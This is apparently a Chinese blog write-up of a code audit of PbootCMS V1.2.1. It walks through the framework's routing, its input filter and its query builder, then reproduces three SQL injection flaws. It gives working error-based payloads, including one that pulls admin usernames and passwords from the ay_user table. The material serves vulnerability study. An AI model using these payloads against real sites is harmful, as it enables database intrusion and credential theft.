MVC的探索
目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
PbootCMS-V1.2.1 ├─ apps 应用程序 │ ├─ admin 后台模块 │ ├─ api api模块 │ ├─ common 公共模块 │ ├─ home 前台模块 ├─ config 配置文件 │ ├─ config.php 配置文件 │ ├─ database.php 数据库配置文件 │ ├─ route.php 用户自定义路由规则 ├─ core 框架核心 │ ├─ function 框架公共函数库 │ │ ├─ handle.php 助手函数库1 │ │ ├─ helper.php 助手函数库2 ├─ template html模板 ├─ admin.php 管理端入口文件 ├─ api.php api入口文件 ├─ index.php 前端入口文件
|
这里有mvc动态路由和自定义路由,这里举个自定义路由的例子
自定义路由位于config/route.php下,路由表中添加了’home/666/test’ => ‘home/about/test’
这里的home就是定义的index.php,所以访问url/index.php/666/test就可以访问到home模块about控制器下的test方法
![image-20210815194022143]()
![image-20210815194556332]()
![image-20210815194543724]()
![image-20210815194519189]()
内核分析
原生GET,POST,REQUEST
使用原生GET,POST,REQUEST变量是完全不过滤的
在Message
控制器中进行测试,这里先在message写上我们的测试方法
![image-20210815210509224]()
系统获取变量函数
这个文件位于/core/function/handle.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
function escape_string($string, $dropStr = true) { if (! $string) return $string; if (is_array($string)) { foreach ($string as $key => $value) { $string[$key] = escape_string($value); } } elseif (is_object($string)) { foreach ($string as $key => $value) { $string->$key = escape_string($value); } } else { if ($dropStr) { $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string); } $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8'); $string = addslashes($string); } return $string; }
|
这里政策匹配的0x7e,0x27,updatexml,extractvalue等东西,并且对string进行了html实体化编码以及addslashes函数
基本防止了sql注入和xss,我们如果想要找注入必须没有经过这个过滤,但是这里也可以使用双写绕过
数据库内核
这里从头分析,这里我随便找一个控制器,以messagecontroller这个控制器为例
首先,这个php文件里只定义了一个对象以及他的一些方法
messagecontroller有一个属性,是model属性,有一个构造函数,这个构造函数把model属性初始化成了一个ParserModel对象,所以后面的$this->model都是这个初始化出来的ParserModel对象。
![image-20210816124127461]()
我们可以来看看这个ParserMode对象是怎么定义的
这个对象里有很多获取信息的方法,我们这里找个简单的吧,随便找一个
![image-20210816124536006]()
这里有一个parrent::关键字,他是调用父类方法,他的父类是model
我们来看看他这个父类方法,直接转到table所在的位置
![image-20210816124835374]()
他这里首先判断了传入的$table是不是数组,如果不是,就把传入的$table给到自己的table属性,然后返回带有这个table属性的对象,所以函数的返回值是model这个对象
然后继续调用了这个属性的where方法,还是判断了一下传入的东西是什么,然后返回了这个对象,然后继续调用了value方法
![image-20210816125321322]()
看他的注释我们知道 value方法是返回指定字段的一条数据的值模式 我们继续翻一下这个model应该有个数据查询函数 找到后发现
这个数据查询函数是select()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
|
final public function select($type = null) { if (is_callable($type)) { $type($this); return $this->select(); } if (! isset($this->sql['field'])) $this->sql['field'] = '*'; if (isset($this->sql['paging']) && $this->sql['paging']) { $count_sql = $this->buildSql($this->countSql, false); if (! ! $rs = $this->getDb()->one($count_sql)) { $total = $rs->sum; $limit = Paging::getInstance()->limit($total, true); $this->limit($limit); } } $sql = $this->buildSql($this->selectSql); if ($type === false) { return $sql; } $result = $this->getDb()->all($sql, $type); return $this->outData($result); }
|
这个select()方法会自动构造sql查询语句并且返回他的查询结果,构造语句的函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
private function buildSql($sql, $clear = true) { preg_match_all('/%([w]+)%/', $sql, $matches); foreach ($matches[1] as $key => $value) { if (isset($this->sql[$value]) && $this->sql[$value]) { $sql = str_replace("%$value%", $this->sql[$value], $sql); } else { if ($value == 'table') { $sql = str_replace("%$value%", $this->table, $sql); } else { $sql = str_replace("%$value%", '', $sql); } } } $this->exeSql[] = $sql; if ($clear) { $this->pk = 'id'; $this->autoTimestamp = false; $this->intTimeFormat = false; $this->updateTimeField = 'update_time'; $this->createTimeField = 'create_time'; $this->sql = array(); } if ($this->showSql && $clear) { exit($sql . '<br />'); } else { return $sql; } }
|
对这个函数进行分析,大概就是先把先定义好的sql语句中的对应位置替换上去,然后返回sql语句
![image-20210816131550029]()
构造完sql查询语句以后,进行了$result = $this->getDb()->all($sql, $type);
大概看这代码就知道他是什么意思,返回查询结果,不急,最好还是先看看
![image-20210816131743770]()
getDb就是看看我们使用的什么类型的数据库,这里我们是mysql数据库,所以他会自动初始化一个mysqli的对象,然后调用这个对象的all()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public function all($sql, $type = null) { $result = $this->query($sql, 'slave'); $rows = array(); if ($this->slave->affected_rows) { if ($type) { while (! ! $array = $result->fetch_array($type)) { $rows[] = $array; } } else { while (! ! $objects = $result->fetch_object()) { $rows[] = $objects; } } $result->free(); } return $rows; }
|
大概就是执行数据库查询语句然后返回查询结果
通过这样下来,我们可以大概了解到他整个一个查询数据的过程,然后我们来测试一下大概是不是这样的
我们先随便建个数据表加点数据
![image-20210816132643619]()
然后我们在messagecontroller控制器下是通过model属性也就是初始化过后的ParserModel对象中的方法来实现的,所以我们在ParserModel对象中定义一个方法
1 2 3 4
|
public function getUser($id) { return parent::table("ay_testUser")->where("id=".$id)->select(); }
|
然后我们再去messagecontroller控制器中使用他
1 2 3 4 5 6
|
public function test1() { $id = get("id"); $result = $this->model->getUser($id); var_dump($result); }
|
然后这时候我们来试试能不能使用
访问url/index.php/message/test1/?id=111
![image-20210816134109814]()
漏洞挖掘
留言处 insert sql注入
我们通过上面的系统获取变量函数进行分析,可以知道,传入的参数会自动进行过滤,但是对数组中的键不会,只会过滤键值
既然我们这里是用数组中的键来进行注入,那么我们就需要找到一个能接收键的地方
这里我们找到了留言处,这里可以接收键
首先读取了数据库留言表字段,返回一个三维数组,数组table_name
为数据表名,name
分别即为contacts
,mobile
,content
,这里用处即为作为 post接收数据的键,具体思路可以看下图
![image-20210817100045355]()
继续往下,遇到了一个if语句,是设置额外数据的,对我们这里没啥用,直接跳过
然后使用了addmessage()函数,我们追踪这个函数看看
1 2 3 4
|
public function addMessage($data) { return parent::table('ay_message')->autoTime()->insert($data); }
|
autotime()是自动插入时间,insert()是插入数据,直接来看insert()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
|
final public function insert(array $data = array(), $batch = true) { if (! $data && isset($this->sql['data'])) { return $this->insert($this->sql['data']); } if (is_array($data)) { if (! $data) return; if (count($data) == count($data, 1)) { $keys = ''; $values = ''; foreach ($data as $key => $value) { if (! is_numeric($key)) { $keys .= "`" . $key . "`,"; $values .= "'" . $value . "',"; } } if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { $keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,"; if ($this->intTimeFormat) { $values .= "'" . time() . "','" . time() . "',"; } else { $values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',"; } } if ($keys) { $this->sql['field'] = '(' . substr($keys, 0, - 1) . ')'; } elseif (isset($this->sql['field']) && $this->sql['field']) { $this->sql['field'] = "({$this->sql['field']})"; } $this->sql['value'] = "(" . substr($values, 0, - 1) . ")"; $sql = $this->buildSql($this->insertSql); } else { if ($batch) { $key_string = ''; $value_string = ''; $flag = false; foreach ($data as $keys => $value) { if (! $flag) { $value_string .= ' SELECT '; } else { $value_string .= ' UNION All SELECT '; } foreach ($value as $key2 => $value2) { if (! $flag && ! is_numeric($key2)) { $key_string .= "`" . $key2 . "`,"; } $value_string .= "'" . $value2 . "',"; } $flag = true; if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { if ($this->intTimeFormat) { $value_string .= "'" . time() . "','" . time() . "',"; } else { $value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',"; } } $value_string = substr($value_string, 0, - 1); } if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { $key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,"; } if ($key_string) { $this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')'; } elseif (isset($this->sql['field']) && $this->sql['field']) { $this->sql['field'] = "({$this->sql['field']})"; } $this->sql['value'] = $value_string; $sql = $this->buildSql($this->insertMultSql); if (get_db_type() == 'mysql') { $max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2); } else { $max_allowed_packet = 1 * 1024 * 1024; } if (strlen($sql) > $max_allowed_packet) { return $this->insert($data, false); } } else { foreach ($data as $keys => $value) { $result = $this->insert($value); } return $result; } } } elseif ($this->sql['from']) { if (isset($this->sql['field']) && $this->sql['field']) { $this->sql['field'] = "({$this->sql['field']})"; } $sql = $this->buildSql($this->insertFromSql); } else { return; } return $this->getDb()->amd($sql); }
|
第一个if语句判断是否传递了数据,直接跳过,第二个if语句判断$data是否是数组,然后判断了是否是一维数组,如果不是跳入else,由于我们这里之前传入的contacts应为一个数组,所以我们这里应该直接进入第二个if语句的else
![image-20210817102210608]()
![image-20210817104724001]()
poc
1
|
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 111&mobile=111&content=111&checkcode=111
|
![image-20210817104202161]()
PS:复现了三天,原作者给了poc,目前卡在调试这块,还不是特别懂,只是对代码分析了一遍。这里phpstorm配合xdebug调试,在网页里传入的是contacts,但是我不知道怎么让他在phpstorm里改成contacts[xxx]这样的形式,所以后面调试也没法进行下去
前台首页sql注入
PbootCMS/apps/home/controller/IndexController.php
, index 方法:
1
|
$content = $this->parser->parserAfter($content);
|
跟进这个parserAfter($content)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public function parserSpecifyListLabel($content) { ... $where2 = array(); foreach ($_GET as $key => $value) { if (substr($key, 0, 4) == 'ext_') { $where2[$key] = get($key); } } ... if ($page) { $data = $this->model->getList($scode, $num, $order, $where1, $where2); } else { $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2); } }
|
这里先是接受所有get请求过来的参数,判断前四个字符是不是ext_,存在where2这个数组里
然后再调用$this->model->getspecifyList这个方法,过滤了value没有过滤key所以有注入
![image-20210817183307633]()
这里最后的payload:
1
|
http://url/index.php/Index?ext_xxx%3D1/**/and/**/updatexml(1,concat(0x7e,(select/**/concat(0x23,database(),0x23)),0x7e),1));%23
|
这里有个坑,就是传入的sql注入语句中,=和#是要用url编码来表示,这里如果直接使用=和#是不行的,具体原因我也还在研究
搜索框sql注入
位于PbootCMS/apps/home/controller/SearchController.php
中 index 方法
1 2 3 4 5 6 7 8 9 10
|
public function index() { $content = parent::parser('search.html'); $content = $this->parser->parserBefore($content); $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); $content = $this->parser->parserSearchLabel($content); $content = $this->parser->parserAfter($content); $this->cache($content, true); }
|
跟进$this->parser->parserSearchLabel这个
![image-20210817191922614]()
和前台首页sql注入一样会接收所有get类型的参数给where2数组
![image-20210817192056267]()
然后就是进行getlist(),进行数据的读取,大概和前台首页sql注入差不多
Payload:
1
|
keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
|
总结
这次pboot的代码审计是我照着yanmie师傅的文章一步步复现的,除了原本yanmie师傅文章的内容,也加了我一些个人在代码审计上分析的思路,不一定对,如果有错还是希望师傅纠正
yanmie师傅的文章地址:https://www.freebuf.com/articles/web/265763.html
评论